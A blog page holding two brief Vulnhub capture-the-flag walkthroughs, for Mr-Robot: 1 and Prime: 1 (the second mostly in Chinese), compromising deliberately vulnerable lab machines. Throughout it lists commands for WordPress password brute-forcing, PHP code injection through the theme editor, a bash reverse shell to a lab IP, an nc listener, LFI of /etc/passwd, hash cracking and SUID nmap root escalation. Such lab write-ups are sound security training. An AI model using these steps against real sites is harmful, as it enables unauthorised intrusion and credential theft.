bl0g: wordpress

Monday, October 14, 2019

Vulnhub: Mr-Robot: 1

source: https://www.vulnhub.com/entry/mr-robot-1,151/

192.168.1.103

80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd

+ OSVDB-3092: /admin/: This might be interesting…

+ Uncommon header 'link' found, with contents: <http://192.168.1.103/?p=23>; rel=shortlink

+ /wp-links-opml.php: This WordPress script reveals the installed version.

+ OSVDB-3092: /license.txt: License file found may identify site software.

+ /admin/index.html: Admin login page/section found.

+ Cookie wordpress_test_cookie created without the httponly flag

+ /wp-login/: Admin login page/section found.

+ /wordpress: A Wordpress installation was found.

+ /wp-admin/wp-login.php: Wordpress login found

+ /wordpresswp-admin/wp-login.php: Wordpress login found

+ /blog/wp-login.php: Wordpress login found

+ /wp-login.php: Wordpress login found

+ /wordpresswp-login.php: Wordpress login found

http://192.168.1.103/feed/

wordpress v4.3.20

http://192.168.1.103/robots.txt

User-agent: *

fsocity.dic

key-1-of-3.txt

http://192.168.1.103/key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

http://192.168.1.103/fsocity.dic

https://mrrobot.fandom.com/wiki/Characters

username elliot

cat fsocity.dic | sort | uniq > fsocity_uniq.dic

wpscan --url http://192.168.1.103 --usernames elliot -P ./fsocity_uniq.dic

username elliot, password ER28-0652

wpscan --url http://192.168.1.103 --usernames mich05654 -P ./fsocity_uniq.dic

username mich05654, password Dylan_2791

Appearance->Editor 404.php

http://192.168.1.103/404.php

system(‘ls -la’);

system(‘cat you-will-never-guess-this-file-name.txt’);

hello there person who found me.

reverse shell:

system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.90/443 0>&1'");

find / -type f -name “key-2-of-3.txt” 2>/dev/null

/home/robot/key-2-of-3.txt

ls -l /home/robot

key-2-of-3.txt

password.raw-md5

cat /home/robot/password.raw-md5

robot:c3fcd3d76192e4007dfb496cca67e13b

john:

username robot, password abcdefghijklmnopqrstuvwxyz

python -c “import pty; pty.spawn(‘/bin/bash’);”

su robot

cat /home/robot/key-2-of-3.txt

822c73956184f694993bede3eb39f959

find / -perm -u=s 2>/dev/null

nmap --interactive

!sh

cat /root/key-3-of-3.txt

04787ddef27c3dee1ee161b21670b4e4

Sunday, September 8, 2019

Vulnhub Prime: 1

来源: https://www.vulnhub.com/entry/prime-1,358/

nmap version check:

22/tcp OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp Apache httpd 2.4.18 ((Ubuntu))

尝试 gobuster/nikto/dirb 扫描

/image.php
/index.php
/secret.txt

请求某个 php 页面, 参数 secrettier360

尝试 LFI, 请求 /etc/passwd

为了显示方便, 这里只 grep 了需要的部分请求对应的 password.txt

密码 follow_the_ippsec
ippsec? youtube 的一个安全教程相关的频道

多次尝试[1], 发现是 wordpress victor 的密码

wordpress 用户名 victor 密码 follow_the_ippsec

多次尝试[2], 在 Appearance->Theme Editor 找到一个可以写入的文件 secret.php

使用 webshells 包的 php/php-reverse-shell.php, 修改 LHOST/LPORT:

$ip = '192.168.1.90';
$port = 4444;

本地 terminal 设置 `nc -n -v -l -p 4444`

浏览器访问 http://192.168.1.17/wordpress/wp-content/themes/twentynineteen/secret.php

拿到 unstable limited reverse shell

victor 在 sudo 组

privilege escalation

破解 AES 密码, sudo 提权
利用内核漏洞提权

method 1:

执行 /home/saket/enc, 提示密码, 尝试几个简单的密码[3], 没有成功

目录遍历的时候, /opt/backup/server_database 找到两个奇怪的文件

另外一个是空文件 {hello.8} 再次执行 /home/saket/enc, 密码 backup_password

提取出 enc.txt 和 key.txt

又是 ippsec

多次尝试, https://www.devglan.com/online-tools/aes-encryption-decryption

Dont worry saket one day we will reach toour destination very soon. And if you forget your username then use your old password==> "tribute_to_ippsec"Victor,

ssh 用户名 saket, 密码 tribute_to_ippsec